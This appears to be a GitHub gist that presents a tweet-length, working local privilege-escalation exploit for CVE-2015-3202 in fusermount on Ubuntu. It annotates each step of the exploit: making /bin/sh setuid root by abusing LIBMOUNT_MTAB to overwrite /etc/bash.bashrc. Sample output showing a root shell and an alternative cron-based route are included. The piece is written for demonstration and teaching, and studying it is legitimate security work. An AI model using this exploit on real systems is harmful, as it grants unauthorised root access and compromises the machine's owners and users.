Making a demo exploit for CVE-2015-3202 on Ubuntu fit in a tweet.
# Making a demo exploit for CVE-2015-3202 on Ubuntu fit in a tweet. | |
12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890 | |
a=/tmp/.$$;b=chmod\ u+sx;echo $b /bin/sh>$a;$b $a;a+=\;$a;mkdir -p $a;LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202 | |
# Here's how it works, $a holds the name of a shellscript to be executed as | |
# root. | |
a=/tmp/.$$; | |
# $b is used twice, first to build the contents of shellscript $a, and then as | |
# a command to make $a executable. Quotes are unused to save a character, so | |
# the seperator must be escaped. | |
b=chmod\ u+sx; | |
# Build the shellscript $a, which should contain "chmod u+sx /bin/sh", making | |
# /bin/sh setuid root. This only works on Debian/Ubuntu because they use dash, | |
# and dont make it drop privileges. | |
# | |
# http://www.openwall.com/lists/oss-security/2013/08/22/12 | |
# | |
echo $b /bin/sh>$a; | |
# Now make the $a script executable using the command in $b. This needlessly | |
# sets the setuid bit, but that doesn't do any harm. | |
$b $a; | |
# Now make $a the directory we want fusermount to use. This directory name is | |
# written to an arbitrary file as part of the vulnerability, so needs to be | |
# formed such that it's a valid shell command. | |
a+=\;$a; | |
# Create the mount point for fusermount. | |
mkdir -p $a; | |
# fusermount calls setuid(geteuid()) to reset the ruid when it invokes | |
# /bin/mount so that it can use privileged mount options that are normally | |
# restricted if ruid != euid. That's acceptable (but scary) in theory, because | |
# fusermount can sanitize the call to make sure it's safe. | |
# | |
# However, because mount thinks it's being invoked by root, it allows | |
# access to debugging features via the environment that would not normally be | |
# safe for unprivileged users and fusermount doesn't sanitize them. | |
# | |
# Therefore, the bug is that the environment is not cleared when calling mount | |
# with ruid=0. One debugging feature available is changing the location of | |
# /etc/mtab by setting LIBMOUNT_MTAB, which we can abuse to overwrite arbitrary | |
# files. | |
# | |
# In this case, I'm trying to overwrite /etc/bash.bashrc (using the name of the | |
# current shell from $0...so it only works if you're using bash!). | |
# | |
# The line written by fusermount will look like this: | |
# | |
# /dev/fuse /tmp/.123;/tmp/.123 fuse xxx,xxx,xxx,xxx | |
# | |
# Which will try to execute /dev/fuse with the paramter /tmp/_, fail because | |
# /dev/fuse is a device node, and then execute /tmp/_ with the parameters fuse | |
# xxx,xxx,xxx,xxx. This means executing /bin/sh will give you a root shell the | |
# next time root logs in. | |
# | |
# Another way to exploit it would be overwriting /etc/default/locale, then | |
# waiting for cron to run /etc/cron.daily/apt at midnight. That means root | |
# wouldn't have to log in, but you would have to wait around until midnight to | |
# check if it worked. | |
# | |
# And we have enough characters left for a hash tag/comment. | |
LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202 | |
# Here is how the exploit looks when you run it: | |
# | |
# $ a=/tmp/_;b=chmod\ u+sx;echo $b /bin/sh>$a;$b $a;a+=\;$a;mkdir -p $a;LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202 | |
# fusermount: failed to open /etc/fuse.conf: Permission denied | |
# sending file descriptor: Socket operation on non-socket | |
# $ cat /etc/bash.bashrc | |
# /dev/fuse /tmp/_;/tmp/_ fuse rw,nosuid,nodev,user=taviso 0 0 | |
# | |
# Now when root logs in next... | |
# $ sudo -s | |
# bash: /dev/fuse: Permission denied | |
# # ls -Ll /bin/sh | |
# -rwsr-xr-x 1 root root 121272 Feb 19 2014 /bin/sh | |
# # exit | |
# $ sh -c 'id' | |
# euid=0(root) groups=0(root) | |
# | |
# To repair the damage after testing, do this: | |
# | |
# $ sudo rm /etc/bash.bashrc | |
# $ sudo apt-get install -o Dpkg::Options::="--force-confmiss" --reinstall -m bash | |
# $ sudo chmod 0755 /bin/sh | |
# $ sudo umount /tmp/.$$\;/tmp/.$$ | |
# $ rm -rf /tmp/.$$ /tmp/.$$\; | |
# |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment